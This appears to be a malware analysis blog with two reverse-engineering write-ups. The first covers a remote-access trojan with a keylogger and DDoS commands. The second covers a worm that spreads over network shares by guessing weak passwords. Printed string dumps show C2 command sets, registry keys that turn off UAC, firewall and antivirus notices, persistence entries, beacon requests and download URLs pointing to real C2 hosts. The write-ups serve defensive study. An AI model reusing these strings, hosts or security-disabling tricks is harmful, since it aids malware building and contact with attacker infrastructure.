Kernel32.dll: I see VirtualAlloc, CreateProcessA, CreateThread, CreateRemoteThread, ReadProcessMemory, ResumeThread, SetThreadContext, WriteProcessMemory, etc., all of which in conjunction with the call to NtUnmapViewOfSection makes me think that there is process replacement or injection going on in this sample. GetTickCount is there, which could be used for anti-debugging but also has legitimate uses such as being part of a random number generation function (as seen in prior analyses). I see FindFirstFileA and FindNextFileA which tells me that this thing probably looks for a particular file somewhere, maybe in %system%. WriteFile is here, which is always a good one to look for in terms of file system signatures. RaiseException is interesting – I wonder if this is used to do something confusing with the SEH to obfuscate execution. When I disassemble this, we should have a better idea of whether or not this is the case. WinExec is imported, which could be useful to look at in the disassembly to see what is being executed on the host. I see TerminateProcess, which makes me wonder if this sample spawns a new copy of itself and then terminates the original in order to make debugging more difficult. PeekNamedPipe is a cool one to see, this lets you look at the data in a pipe without modifying it, so perhaps this is used in some sort of C2 function (maybe a reverse shell?). CreatePipe is also imported, by the way. I see imports for GetVersion and GetVersionExA, so I’m thinking this is either part of a system inventory or the malware checks to see that it’s running on a compatible version of Windows (or both). GetWindowsDirectoryA shows that there’s probably something done in that directory, maybe this is where the malware installs itself or otherwise achieves some sort of persistence or stealth. I see GetDriveTypeA and GetDiskFreeSpaceExA, probably as further info for the system inventory. DeleteFileA is imported, and like with WriteFile, it will be interesting to see what this sample deletes (probably the original copy of the malware after it installs itself). CreateMutexA is imported, probably to help ensure that the malware doesn’t run multiple copies of itself on the same host or perhaps to share resources. I see CreateDirectoryA being imported, which is interesting because typically I don’t see malware create directories, usually just a single file somewhere already existing (such as the %system% directory, the malware’s working directory, or maybe a temp file directory). Finally – Beep is imported. Why?

Ntdll.dll: This is interesting to see because typically this is not called directly by legitimate programs (as far as I know) – programs typically call something in kernel32, which then calls something in ntdll.dll and so on. NtUnmapViewOfSection is imported as part of process replacement/injection. There is also an import for NtQuerySystemInformation which can have several uses that I’ll speculate on. One piece of info available from this function is the number of processors or information on running processes. There are also various ways to use this function to seed random numbers.

Ole32.dll: I see that CoCreateInstance is imported, which creates a COM object. During disassembly, I’ll look to see how this is used specifically.

Shell32.dll: I see ShellExecuteA and ShellExecuteExA imported, which again will be useful to look for to find additional things run by this malware. SHEmptyRecycleBinA is imported – this is interesting, because typically if a file is deleted from the command line, it doesn’t go into the recycle bin (I’ve never seen a sample that left anything in the recycle bin), so I wonder why this malware needs the function. I’m guessing this is to help hide its tracks, though.

Urlmon.dll: URLDownloadToFileA is imported, which is great, because this tells me to look for the malware reaching out to the author to obtain a new file of some sort.

User32.dll: GetKeyboardType is not one that I’ve seen before, but would make sense in the context of a keylogger. This function is pretty self explanatory, but note that it doesn’t necessarily give you the language of the keyboard but rather the type (e.g., IBM enhanced, Nokia 1050, etc.) of the keyboard. The exception would be that it could tell you if it was a Japanese keyboard. This function will also let you know the number of function keys on the keyboard. There are also many, many functions related to windows and graphics imported here (not to mention what’s imported with gdi32.dll). Not sure why you’d want your malware to do this.

Version.dll: I see GetFileVersionInfoA is imported – I wonder how this is used. Maybe to check the version of the malware so that an update can be performed?

Wininet.dll: InternetReadFile, InternetOpenUrlA, InternetConnectA, HttpQueryInfoA, FtpPutFileA… Great! Lots of stuff to look out for during dynamic analysis. Looks like it takes some sort of information from the host and sends it somewhere (probably the logged keystrokes, at a minimum).

Winmm.dll: PlaySoundA is imported. I wonder what this malware could possibly be doing playing sounds, as that seems like it would be a pretty conspicuous thing to do. Maybe this malware masquerades as a game or something?

Wsock32.dll: Lots of good stuff here. WSAStartup is imported, which is always nice to see in the disassembly because this will tell you where the networking functions are beginning (which also helps you find the points at which any obfuscation or encryption is going to be applied, either outgoing or incoming). I see socket, connect, send and recv which would be used to set up the client side of connectivity, but I also see bind, listen, and accept, which would allow this to function as the server side as well. I see gethostbyname, so I’m expecting to see a DNS request at some point.

Now to get to the strings. I think that most of the interesting material has already been covered using the earlier tools, but there are still some interesting strings that I found in the file (full list of meaningful strings can be found in the .pdf report of this analysis):

FastMM Borland Edition
2004, 2005 Pierre le Riche / Professional Software Development

Another indication of Delphi.

%s, ClassID: %s
%s, ProgID: “%s”
%s (%s)

Always interesting to see anything being constructed dynamically by the malware.

-.-.-.-
[::]
need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version
1.2.3
1.2.3

Maybe this uses version 1.2.3 of zlib?

80211_OPEN
80211_SHARED_KEY
WPA_PSK
WPA_NONE
RSNA
RSNA_PSK
IHV_START
IHV_END
NONE
WEP40
TKIP
CCMP
WEP104
WPA_USE_GROUP OR RSN_USE_GROUP

Maybe this has something to do with a system inventory?

\Internet Explorer\iexplore.exe
explorer.exe

This tells me that the malware does something with Internet Explorer (perhaps the process replacement/injection).

TThemeServices
Theme manager
2001, 2002 Mike Lischke

I guess this refers to another tool used in the creation of this malware.

1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
ShortCutText
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
Layout File
KbdLayerDescriptor

Something being done regarding the keyboard layout, I’m guessing as part of the system inventory or something to do with the keylogging.

IP :
IP Mask :
Broadcast adress :
Status : UP
Status : DOWN
Broadcasts : YES
Broadcasts : NO
Loopback interface
Network interface
Software
Microsoft
Windows
CurrentVersion
Policies
System
DisableTaskMgr
Software
Microsoft
Windows
CurrentVersion
Policies
System
DisableRegistryTools
Software
Microsoft
Windows
CurrentVersion
Policies
System
EnableLUA
Software
Microsoft
Security Center
AntiVirusDisableNotify
SYSTEM
CurrentControlSet
Services
SharedAccess
Parameters
FirewallPolicy
StandardProfile
EnableFirewall
SYSTEM
CurrentControlSet
Services
SharedAccess
Parameters
FirewallPolicy
StandardProfile
DisableNotifications
SYSTEM
CurrentControlSet
Services
wscsvc
Start
Software
Microsoft
Security Center
UpdatesDisableNotify
Software
Microsoft
Windows
CurrentVersion
Policies
Explorern
NoControlPanel
Software
Microsoft
Security Center
AntiVirusDisableNotify
SYSTEM
CurrentControlSet
Services
wscsvc
Start
Software
Microsoft
Security Center
UpdatesDisableNotify
Software
Microsoft
Windows
CurrentVersion
Policies
Explorern
NoControlPanel
drivers\etc\hosts
drivers\etc\hosts
I wasn’t able to open the hosts file, maybe because UAC is enabled in remote computer!
UNKNOW
STOPED
RUNNING
PAUSED
STARTED
STOPED_P
CONTINUE_P
PAUSED_P
Not Available
Removable
Fixed
Network
CD-ROM
RAM
WinDrive
Bytes
KiB
MiB
GiB
Local drive (default)
IsWow64Process
kernel32
HARDWARE\DESCRIPTION\System
SystemBiosDate
HARDWARE\DESCRIPTION\System
Identifier
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Identifier
HARDWARE\DESCRIPTION\System\CentralProcessor\0
VendorIdentifier
Unknow
Windows NT 4.0
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows 7
Windows 95
Windows 98
Windows Me
0x%.2x%.2x%.2x%.2x%.2x%.2x
memory allocation failed!
%.2x-%.2x-%.2x-%.2x-%.2x-%.2x
64 bit
32 bit

This looks to me like a whole lot of system inventory information. It also seems to indicate changes made by the malware to the host to report back to C2.

\uTorrent\
*.torrent

What’s that about?

Offline
Online
Invisible
Busy
Be Right Back
Idle
Away
On The Phone
Out to lunch
Offline
Online
Invisible
Busy
Be Right Back
Idle
Away
On The Phone
Out to lunch

These look like instant messenger statuses. Is this some sort of trojan that masquerades as an instant messenger client? That’s not really what I would expect from a file called Deadliest Catch…

SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\
HKCU\
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\
command
item
hkey
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\
location
HKLM
HKCU
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder

I always like to see specific references to the registry…

/k
cmd.exe
open
*.*

Looks like something is executed on the command line. The /K switch, though, runs a command and then returns to the command prompt. Not sure why you’d want to use this with malware.

Sockets
%d.%d.%d.%d
0.0.0.0
WSAStartup
WSACleanup
POST /index.php/1.0
Host:
BTRESULTHTTP Flood|Http Flood task finished!|
myappname
BTRESULTVisit URL|finished to visit
Times.
BTERRORVisit URL|An exception occured in the thread|
DATAFLUX
UntProcess
SYSERRNot a valid range set!
SYSERRCannot open remote process for reading..
SYSERRCannot create the output file!
SYSINFORemote process (
) successfully dump in
Normal
Hight
Real Time
> of the Normal
< of the Normal
Low
ACCESS DENIED (x64)
LanErr
SVW3
127.0.0.1
.255
LanList
LanErr
PortScanAdd
TScan
TScanRange
BTRESULTSyn Flood|Syn task finished!|
BTRESULTUDP Flood|UDP Flood task finished!|
FTPPORT
FTPPASS
FTPUSER
FTPHOST
FTPROOT
FTPUPLOADK
FTPSIZE
TReceiveFileThread
UPLOADFILE
FILEBOF
FILEEOF
FILEEND
FILEERR
TSendFileThreadU
FILETRANSFER
FILEBOF
FILEERR
FILEEOF
FILEEND
TReceiveDataFlux
UPFLUX
TScreenThumb
THUMB
TSendDataFluxThread
DATAFLUX
TSearchThreadU
TCaptureWebcam
CAMERA
#CAMEND
ENDSNAP
MONSIZE
DISPLAY
MONSIZE0x0x0x0
DEFAULT MONITOR (DISPLAY)
OK|Successfully started..|
ERR|Socket error..|
ERR|Cannot listen to port, try another one..|
SOCKS5STATUS
TConnectionHandler
TMain
TSoundCapture
SOUND
EndReceive
TQuickTransfer
UPLOADEXEC
open
BATCH
UPDATE
UPANDEXEC
HOSTS
drivers\etc\hosts
SOUND
EDITSVR
GENCODE
PASSWORD
DCSC_GRABPWDS
CHAT
DCSC_INITCHAT
DCSC_POSTDATA
DCSC_CHATNUDGE
DCSC_DESTROYCHAT
DCSC_CHATRELOAD
PLUGIN
QUICKUP
FILEEND
TAsyncTask
out.txt
tmp.txt
Mozilla
BTRESULTMass Download|Downloading File…|
DownloadSuccess
DownloadFail
BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir…|
BTERRORDownload File| Error on downloading file check if you type the correct url…|
ping 127.0.0.1 -n 4 > NUL && ”
GetTorrent

Always great to see this sort of stuff that will help give indications of what networking activity is supposed to happen. Also note the mention of the flood tasks. Maybe this has some sort of botnet-like feature where C2 can use infected hosts to DDoS a target. It also appears to have a scan function. Some of these strings may even be commands that the malware uses to execute instructions from C2. I wonder what those .txt files are. Also – this thing gets torrents?

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ/*-+.=

Looks like a slightly nonstandard base64 index. Notice the special characters after Z which here are /*-+.= while in a regular string it would be just +/. This also makes it longer than a regular base64 index. Also, the numerals come in the beginning of this string while in a standard index they would come after the alphebetic characters. In this index, the lowercase letters also come before the upper case, which would be reversed in a standard base64 index.

.log
dclogs\
::
:: Clipboard Change : size =
Bytes (
\newl\
\space\
ONLINESTROKES\newl\::
ONLINESTROKES
[ESC]
[<-]
[NUM_LOCK]
[F1]
[F2]
[F3]
[F4]
[F5]
[F6]
[F7]
[F8]
[DEL]
[INS]
[SNAPSHOT]
[LEFT]
[RIGHT]
[DOWN]
[UP]
CTRLA
CTRLV
CTRLC
CTRLX
CTRLP
CTRLZ
CTRLY
CTRLF
dclogs\

This all looks like strings related to the keylogging function that I’m presuming is part of this malware. This also helps in that it appears we’re looking for files with a .log extension in a dclogs folder.

taskmgr.exe
notepad.exe

I see this string out in the middle of nowhere, so to speak. Maybe this also has something to do with the process replacement, etc.

TScreenCapture

Maybe this malware takes screenshots, too.

systeminfo
SYSINFO
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit
UserInit
Software\Microsoft\Windows NT\CurrentVersion\Winlogon

This gives me some ideas of what changes may be made to the registry by the malware, and also some idea of how persistence may be accomplished.

127.0.0.1:1604
#KCMDDC51#-
Unknow
5.3.0

Not really sure what these threads are for, but it looks like something might be started locally on 1604. Maybe this is the port that C2 will use for a remote shell or other networking.

DelDir
rmdir ”
” /s /q
attrib ”
” +s +h

Covering its tracks?

NETDRV
REFRESHPROC
PROCESS
REFRESHMODS
MODULES
KillProcess
SuccesProc
KILLPID
KillSProcess

Maybe this allows C2 to kill processes locally.

ActiveOnlineKeylogger
UnActiveOnlineKeylogger
GETLOGSHISTORY
KeylogOn
dclogs\
ActiveOfflineKeylogger
UnActiveOfflineKeylogger
ActiveOnlineKeyStrokes
UnActiveOnlineKeyStrokes

More indications of keylogging functionality.

OpenCD
CloseCD
Set cdaudio door closed wait

Seems like odd functionality for typical malware.

Indications that there is a bot functionality to this malware as well.

GETDRIVEINFO
DELETELOG
REFRESHLOGS
PREVIEWF
ADDSOCKS5
SOCKS5FLUSH
SOCKS5CLOSE
DUMP
DOWNLOADFILE
DOWNLOADFOLDER
DWNFOLDERRES
UPFLUX
UPLOADFILE
SEARCHFILES
STOPSEARCH
ACTIVEREMOTESHELL
DOSCAP
SUBMREMOTESHELL
KILLREMOTESHELL
DESKTOPCAPTURE
DESKTOPSTOP
WEBCAMLIVE
WEBCAMSTOP
DESKTHMB
REFRESHWIFI
WIFI
SOUNDCAPTURE
SOUNDSTOP
QUICKUP
PLUGIN
PASSWORD
CHAT
CHATOUT
CHATNUDGE
CLOSECHAT
FTPFILEUPLOAD
URLDOWNLOADTOFILE
PWD
OFFLINEK

Some of these are pretty creepy, referring to things like webcam, soundcapture, etc. Perhaps more commands that the malware parses from C2 somehow to turn functionality on or off.

PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING

Uh, OK.

Some final notes before getting into the dynamic analysis. I notice a .reloc section, which is interesting because I usually don’t see these in samples (and especially not in .exes, typically in .dlls). One sandbox reported seeing French language PE resources, the rest being either neutral or US English.

Dynamic Analysis

For this part, I ran the malware three different times: 1) as a regular user; 2) as administrator; 3) as a regular user with Fakenet. I’m going to look at the regular user run first.

Running the malware from the command prompt, nothing appears to happen. One funny thing is that the working directory for the malware “disappears”, as does the executable. The files are still there, it’s just that they’ve been hidden. Sort of stupid, actually, because you’d think that any user running this would notice that their directory is “gone”, especially if you ran it from somewhere like your Downloads directory. Maybe I’m wrong, but it just seems a bit overkill.

I also noticed this pretty much immediately:

dc6

msdcsc.exe is not something that I recognize, but I do recall seeing notepad.exe in the strings from the malware, so both of these together appear suspicious to me. Msdcsc.exe appears to have the same strings as the original malware executable glancing through it. This file resides in the Documents directory in a folder called MSDCSC, and again both this directory and the msdcsc.exe file are both hidden. The MD5 value of both files confirms that they are the same.

Regshot revealed some changes:

Key added:
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System

Values added:
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicroUpdate: “C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\DisableRegistryTools: 0x00000001
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System\EnableLUA: 0x00000000

I see some files added also:
c:\Users\Linux Derp\AppData\Roaming\dclogs\2016-08-31-4.dc
c:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe
c:\Windows\ServiceProfiles\LocalService\AppData\Roaming\PeerNetworking\39781e30c2068da8ca1d5675055b8c116729b03c.HomeGroupClassifier\a155957c683b979ad24b1ae52041d2d2\grouping\tmp.edb
c:\Windows\System32\Microsoft\Protect\S-1-5-19\13356aac-165b-496d-8fb0-21b47bc91dbd

That one file in the beginning is VERY interesting. This path and file name lines up with some strings we saw earlier. This directory is not hidden, actually, so I guess the author figured that the user wouldn’t venture into this directory. The file 2016-08-31-4.dc isn’t hidden, either. The contents clearly show that keystrokes are being captured, along with times, the applications/windows used for input, and clipboard changes:

dc7

Some of the exact strings highlighted earlier as indications of a keylogger can be seen in the capture above. I tried typing a bunch of things into the cmd.exe window, but noticed that the log file was not updated. After some testing, it appears that data is written to the log file when I open a new program (in my test, I opened a bunch of new cmd.exe sessions). Testing this some more, it appears that keylogging data is saved in a buffer and then written to the log when there is data being typed into a new window. For example, simply opening a program from the start menu did not trigger writing to the log. Opening a program by typing the name into the start menu triggered writing to the log. Opening Internet Explorer via the start menu did not trigger logging, however typing an address into the window DID trigger writing to the log. Typing input into Internet Explorer without hitting enter triggered writing to the log immediately, however typing multiple commands in a row into a cmd.exe window did not trigger logging on its own. Probably not important, but sort of interesting to see different ways to get this program to take actions.

Looking in Process Monitor, first I’m starting with the original malware process. Several pages in, after loading several libraries and enumerating many entries in the Registry, I see a odd operation, a call to CreateFileA for C:\MA\lab\JBDyF4FCmWXH.dcp (which is not found). Much later on, we see the malware try to call CreateFileA for the path C:\Users\Linux Derp\Documents\MSDCSC\JBDyF4FCmWXH\msdcsc.exe, which is again not found. Another call is made, this time to C:\Users\Linux Derp\Documents\MSDCSC\msdcsc.exe which is ultimately where we see the file being copied to and hidden.

Shortly after, at this point we seem to see that the malware starts the process of copying itself into the new directory that we found:

dc8

Then the writing of the file to the new location:

dc9

After this, we see the malware trying to make some changes to the registry, some of which are successful, one that is not:

dc10

The value that was successfully set to the MicroUpdate key is the full path of the new copy of the malware. I think what we’ve observed here was the malware checking to see if it was already installed, and not finding a copy of itself, it installed itself.

We see some more registry changes:

dc11

We see how the malware uses the /k switch for cmd.exe, when it hides the working directory of the original malware file:

dc12

Going through the rest of the results, there are thousands of keys/values enumerated by the original malware process, but at the end you don’t see any new processes being created, but looking in Process Monitor for processes whose parent was the original malware process (PID 944), we see some interesting things. First we see that there were two cmd.exe processes created, PIDs 2636 and 1860, which hid the original malware file and its working directory. Later, we see the first of the new malware processes created (PID 560) which is started via the command line:

dc13

msdcsc.exe again looks for the JBDyF4FCmWXH.dcp file, as the original process did. A bit later, some strange behavior as the new malware process starts trying to make many modifications to the registry:

dc14

One interesting change is that the malware sets the EnableLUA value to 0, so that Windows will not notify the user when programs try to make changes to the computer:

dc15

We also see that it tries to set AntiVirusDisableNotify to 1 (true):

dc16

I’m noticing that some of these operations are unsuccessful as we’ve been going through here. I’ll be curious to see what happens in the run of this malware where I was in admin mode.

Later, I see the creation of the other malware-associated process, the notepad.exe process (PID 2404):

dc17

We see the malware process (560) again set values in the registry, like the original process, apparently around persistence:

dc18

Autoruns confirms this:

Later on in the results, I see this operation being repeated many times, all successfully. I’m not sure why the malware does this. Maybe this is some sort of error.

The new malware process (560) then sets up the location for the keylogging file:

dc20

Here is the first write to the logging file:

dc21

Looking at the final malware process, the notepad.exe process created (PID 2404), shows it was started from the command line by the 2^nd process (560). I’m not really seeing this process do that much, on the face of it. Its strings in memory match what should be there for a legitimate notepad.exe process. There’s also no visible window, when I tried to access that via Process Explorer. This notepad process, however, does have a mutant, which my other legitimate notepad.exe process does not:

dc22

That mutant name matches one of the strings found in the malware exactly. The malware process also has some handles to places in the registry (under HKLM) having to do with locales that my legitimate notepad.exe process doesn’t have.

Looking at the 2^nd process (560) in process explorer, one very weird thing is that there appear to be hundreds (maybe thousands) of handles to \Device\Afd (auxiliary function driver). We also see a few other things:

dc23

There’s a handle to a token, and also a handle to a couple of threads within the new notepad.exe process. I’m guessing that the malware injected something into notepad.exe based on this and also on how we found all of those function imports earlier that were associated with process injection/replacement. There’s also a mutant DC_MUTEX-K5DAH26. I’m not seeing this string in what I found earlier, though I do see DCMUTEX. One other little note from the Process Explorer review is that the malware’s description of msdcsc.exe is “Remote Service Application” which is something we found during the static analysis.

I happen to notice there are two iexplore.exe processes running (PIDs 2968 and 356). Sort of strange, because I did start Internet Explorer from the start menu, however, I only ran a single copy. The first process seems legitimate (2968). When I try to bring the second process to the front using Process Explorer, I’m informed that there is no visible window for the process. Some of the interesting stuff in the GMER output includes GetKeyState, CallNextHookEx, SetWindowsHookExW, GetAsyncKeyState, UnhookWindowsHookEx and others. These are things I’d associate with keyloggers, especially GetAsyncKeyState and GetKeyState. We saw that iexplore.exe was a string within the malware:

dc24

Looking at the network traffic, I see that the malware tried to resolve a domain, max19916.hopto.org:

dc25

For some reason the address didn’t resolve, and no traffic was observed. Max19916.hopto.org appears to be up, though…

Looking in the run I made as administrator, I noticed some differences in the results from Regshot. For example, in the run as a regular user, we saw these keys added:

HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\System
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\DC3_FEXEC

In the admin mode run, we see:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\DC3_FEXEC

Running as admin, we see some other interesting changes that we didn’t see running as a regular user:

———————————-
Values added: 45
———————————-
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify: “1”
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\CurrentVersion\Explorern\NoControlPanel: “1”

The changes already mentioned in the user mode run were also observed, these are just the additional successful changes made to the registry. Otherwise, the behavior appears to be more or less the same, at least what I can see from this perspective.

I decided to dump the memory from the user run and see what, if anything, turned up in there. I used Moonsols to dump the memory, and then I ran some Volatility plugins on the results just to see what I could find. I’m not the strongest Volatility user, by any means, though I’m working on it. Using this tool on this sample is a good opportunity for me, so please bear with me if this is very basic to you.

There is a Volatility plugin called psxview which can be used to find processes using several different methods. The book The Art of Memory Forensics has a great description of processes and their structures in the sixth chapter of the book. There are several methods for finding processes listed here, and the psxview plugin incorporates all of the ones listed in the book into a single plugin. What’s nice is that, as you can see in the screenshot below, the plugin gives you a table showing each process with its offset and PID and then whether or not it would have been found using a certain method (for example, in the example below, the cmd.exe process, PID 1688, would have been found using any method).

dc26

ExitTime would show when a process was terminated but for some reason still is showing up in the process list. This could happen if another process has an open handle to a terminated process.

Going through the list reveals nothing out of the ordinary. There’s something weird at the end, though:

dc27

This is the end of the listing, and what it looks like is there is a running process (PID 504) that was unrevealed by all methods except for thrdproc (thread scanning). Each process must have at least one active thread. This method scans for thread objects and then maps them back to an owning process. Like I said before, I’m a fairly new user with Volatility, so maybe this is some idiosyncratic thing that I just am not familiar with, but it appears to be a very well hidden process that I’m assuming is associated with the malware. The point of the Process Crossview plugin (psxview) is that rootkits are unlikely to have hidden themselves from the active process linked list and then ALL of these other methods – however it looks like this one almost did that.

I was unable to dump this process with the procdump plugin (it told me that it couldn’t find a process with PID 504 and advised me to try with an offset, which also did not work). Psscan does not reveal this mysterious process 504. I tried memdump, using an offset and the PID, but nothing.

Running the privs plugin revealed some info about what privileges are available to the malware process msdcsc.exe (PID 560), and others such as the injected/replaced iexplore.exe process, but nothing appeared to be out of the ordinary.

The mutantscan plugin revealed the two malware mutexes that we know about, but nothing really new here. Grepping the mutantscan results didn’t reveal anything near the offset of process 504.

dc28

Grepping the results of the thrdscan plugin does show a bit more detail about this thread:

dc29

It’s definitely still open…running the threads plugin doesn’t reveal anything, though. I decided to try dumping the memory from my admin run and seeing if psxview revealed something similar, and what I got was pretty weird:

dc30

In another run of the malware in user mode, I wasn’t able to replicate the original run’s mysterious nameless process. I’ll still keep this in the back of my mind, but I think it might have just been some weird artifact from either the VM or Moonsols.

On another note, I ran the malfind plugin and had it dump whatever was injected into the two iexplore.exe processes (PIDs 2968 and 4036) and the notepad.exe process (PID 2404), so when I get to disassembly I’ll be able to see what the malware put in there.

At this point I’m wrapping up the dynamic and static analysis, and am going to move into the disassembly. Maybe in the future when I’m better with Volatility I’ll try some new things, but for now I think I’ve exhausted all avenues on this one.

Disassembly and Debugging

Ugh:

No, it’s not a Super Star Destroyer – it’s a graph of all the function calls in this thing.

Zoomed in 110%:

dc32

References:
https://en.wikipedia.org/wiki/.bss

CANDID

Posted on September 13, 2016 - August 16, 2016 by rhyolite

I had a file come through GRAB-NYC. I ran it through Virustotal, 48/56 detected something. Time to take a closer look.

Static Analysis

Virustotal said that the file was packed with Armadillo 1.71, but I’m not seeing any packing. PEiD says it’s unpacked, and the strings look like what I’d expect to see for an unpacked file (i.e., many useful plaintext strings as opposed to the garbage one normally sees in a packed file and/or peculiar section names like .upx1 or .petite that indicate a packer). Looking in PEview, the headers for the .text and .data sections look fine (in that the raw and virtual sizes are very close in size to one another) however there’s something off for the .data section:

candid1

This indicates that there is a much larger space in memory for the .data section than there is for the .data section on disk, which leads me to think that it might actually be packed. This .data section does give up many plaintext strings, though, so it’s a bit confusing to me right now. I’ll come back to this later on in the analysis – I might observe something being unpacked during dynamic analysis, for example.

Looking at it in PEview again, the number of data directories (0x10) and TLS table (there isn’t one) looks fine from an anti-debugging perspective. There are six imported libraries: advapi32, kernel32, mpr, netapi32, and ws2_32. Interesting imports from each include:

AdvApi32
I see RegCreateKeyExA, RegSetValueExA, and RegCloseKey all of which tell me that 1) we can probably look for host-based signatures in the registry and 2) this might indicate how the malware achieves persistence.

Kernel32
I see DeleteFileA, WriteFile and CopyFileA which are always nice to see for host/file system signatures. GetTickCount can be used in an anti-debugging context, but it could also be used to generating random numbers. GetComputerNameA and GetVersion are probably part of a system inventory. CreateProcessA is another great one because this indicates that we might have another process to look for, and therefore another signature. GetSystemDirectoryA suggests that something is done in %system%, possibly this is where the malware installs itself or maybe it does something with a legitimate system file. Sleep can be interesting depending on how it’s used in the malware. I see CreateThread and VirtualAlloc, but not the rest of the stuff for process replacement. I’m also not seeing WriteProcessMemory or CreateRemoteThread, which I would look for to indicate injection. I see GetCommandLineA, which can be a good place to look at during manual unpacking. I see TerminateProcess, so maybe this is one of those annoying ones that will respawn itself and terminate the parent multiple times to make debugging annoying.

Mpr
We see WNetAddConnection2A imported. This function can either 1) make a connection to a network or 2) redirect a local device to a network resource. It’ll be interesting to see how this is used in the malware.

NetApi32
NetUserEnum is imported, which retrieves information about user accounts on a server. NetScheduleJobAdd is also imported, which is both deprecated and allows you to run a job at a specified future time and date. NetRemoteTOD is imported, which allows one to obtain the time of day from a server, which I would presume is used to trigger the scheduled job suggested by the previous import.

Ws2_32
We see WSAStartup, which is the beginning of the networking function and can be a good place to look for plaintext traffic (usually if there is encoding/obfuscation, it’s going to be around networking functions such as send or recv). I see gethostbyname, so we should observe a domain being resolved. I see connect, send, socket, but interestingly I don’t see recv. It’s possible that this function is obfuscated and is called during execution, but it almost appears that this file only sends data.

KANAL doesn’t indicate any standard crypto signatures, but if the .data section really is packed, then we might not see them (or, they might be non-standard but that’s unlikely).

Turning to the strings, we first see a familiar sight:

candid2

Line after line of truly unforgivable passwords. “password” is in there too. Some other real winners include internet, ihavenopass, home, god, computer, database, baseball, and 2600. Below these horrendous passwords we see an interesting block of text:

PHIME2005
Software\Microsoft\Windows\CurrentVersion\Run
/SYNC
%s\ipc$
TaskOK
dnsapi.exe
CopyOK
%s\admin$\system32\dnsapi.exe
LoginOK
\\%s
%d.%d.%d.%d
%04d%02d%02d%02d%02d%02d
GET /updata/TPDA.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s HTTP/1.1
Host: fukyu.jp
1.003
125.206.117.59
GET /updata/TPDB.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s&lg7=%d HTTP/1.1
Host: fukyu.jp
NONE
URLDownloadToFileA
urlmon.dll
DeleteUrlCacheEntry
wininet.dll
http://fukyu.jp/updata/ACCl3.jpg
\msupd.exe

LOTS of good stuff here. Not sure what PHIME2005 is, but I’ll keep an eye out for that. The next line looks like where the malware sets up persistence in the registry. There are references to a couple of executable files here – dnsapi.exe and msupd.exe. These might be filenames used by the malware to make a legitimate-looking copy of itself into %system%. I see what look like possible status updates being sent back to a controller (TaskOK, CopyOK, LoginOK). There’s the skeleton of an IP address and then an actual IP address hardcoded (125.206.117.59). This IP leads to NTT Communications Corporation in Tokyo. I see two additional libraries listed here (urlmon.dll and wininet.dll) along with some interesting functions (URLDownloadtoFileA and DeleteUrlCacheEntry). Wininet.dll is a higher-level networking library, which means that the author won’t have to “fake” as much traffic info (such as headers) since the networking traffic will use the signatures of the host. This also means that there probably won’t be any peculiar header or other signatures for part of this malware’s activity as it will blend in fairly well with the host’s regular traffic. We see what looks like HTTP GETs and also a hostname of fukyu.jp along with an address of http://fukyu.jp/update/ACCl3.jpg. I’m going to guess that this is where the malware goes to update itself after being run. There may even be a C2 function here – the author might put files out here with updated instructions for the malware to pick up and execute. Fukyu.jp is registered to “Government Publications”, so I’m sure it’s totally legit and not shady at all…I also notice that this domain was registered on 20MAR2006 and expires on 31MAR2017… pretty cool that this domain has been around for so long, and that this malware is so old.

I want to see if I can get the .jpg mentioned in the strings. I can’t seem to resolve fukyu.jp. I tried the 125.206.117.59 address, but didn’t get much there either. I did see, however:

PORT STATE SERVICE
113/tcp closed ident
2000/tcp open cisco-sccp
5060/tcp open sip

